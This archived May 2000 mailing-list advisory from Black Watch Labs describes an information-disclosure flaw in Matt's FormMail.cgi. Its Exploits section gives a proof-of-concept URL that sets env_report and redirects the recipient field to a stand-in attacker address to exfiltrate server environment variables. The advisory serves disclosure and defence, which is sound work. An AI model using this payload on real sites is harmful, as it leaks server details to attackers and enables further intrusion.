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Subject: Black Watch Labs Vulnerability Alert
From: Black Watch Labs (blackwatchlabsPERFECTOTECH.COM)
Date: Wed May 10 2000 - 18:11:23 CDT


Dear Security Professional,

The following vulnerability:

    "Environment and setup variables can be viewed through FormMail
script"

is in the text of the message below and has just been posted to the
Black Watch Labs Web site at
http://www.perfectotech.com/blackwatchlabs/

Thank you,
Black Watch Labs

If you wish to unsubscribe to this Black Watch Labs email update, please

click on reply and type the word "Unsubscribe" in the subject line.

--------------------------------------------------------------------------------------------------------------------------------

Environment and setup variables can be viewed through FormMail script

Perfecto’s Black Watch Labs Advisory BWL 00-06 (May 10, 2000)

Name:
Environment and setup variables can be viewed through FormMail script

Black Watch Labs ID:
BWL 00-06

Date Released:
May 10, 2000

Products affected:
Matt’s FormMail.cgi

Number of affected sites:
It is estimated that there are thousands of pages containing links to
the formmail script.

Category:
Application(HTML): modification of parameters, debug options.

Summary:
The script allows several environment variables to be viewed by the
attacker, who can gain useful information on the site, making further
attacks more feasible.

Analysis:
FormMail contains a debug field named “env_report”, whose value is a
list of environment variables (accessed via $ENV[name]) separated by
commas. These variables (if they exist) are embedded into the message
body. Furthermore, the script does not check the integrity of the
recipient, thus the recipient field can be changed, so the message will
be sent to the attacker’s account. Thus the attacker can gain the
environment information.

Exploits:
FormMail: assume the URL for the script is
http://www.formmail.site/cgi-bin/formmail.cgi, then to get the PATH
environment parameter (i.e. to send it to account:
attackerattacker.site), all there is to do is to request the following
URL:

attacker.site&required=&firstname=&lastname=&email=&message=&Submit=Submit">http://www.formmail.site/cgibin/formmail.cgi?env_report=PATH&recipient=attackerattacker.site&required=&firstname=&lastname=&email=&message=&Submit=Submit

Vendor Patch or workaround:
None submitted at the time of this release.

References and Links:
Matt’s Script Archive (FormMail):
http://www.worldwidemart.com/scripts/formmail.shtml

About Black Watch Labs (www.perfectotech.com/blackwatchlabs/)
Black Watch Labs is a research group operated by Perfecto Technologies
Inc., leader in Web application security management. Black Watch Labs
was established in order to further the knowledge of the Internet
community in the arena of Web application security management. Black
Watch Labs publishes security advisories regularly, which are maintained

at http://www.perfectotech.com/blackwatchlabs/, and are also posted to
relevant security lists and websites. Black Watch Labs also operates a
Web application security mailing list, which can be subscribed to at
http://www.perfectotech.com/blackwatchlabs/.
For more info about Black Watch Labs and Web Application Security
Management, please call (408) 855-9500 or email
BlackWatchLabsperfectotech.com

About Perfecto Technologies (www.perfectotech.com)
Founded in 1997 and headquartered in Santa Clara, Calif., Perfecto
Technologies pioneered the market for Web Application Security
Management software. AppShield, Perfecto Technologies flagship product
offering, is the first to provide extreme security for customer-facing
applications in dynamic Web site environments. Perfecto Technologies
has customers in many sectors including, banking, etailing, finance,
government, and healthcare. Privately held, Perfecto Technologies is
funded by blue-chip venture capital firms and industry leaders,
including Sequoia Capital, Walden, and Intel Corporation. More
information about Perfecto Technologies may be obtained by visiting the
Company’s Website at www.perfectotech.com or by calling the Company
directly at (408) 855-9500.

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Permission is hereby granted to reproduce and distribute the application

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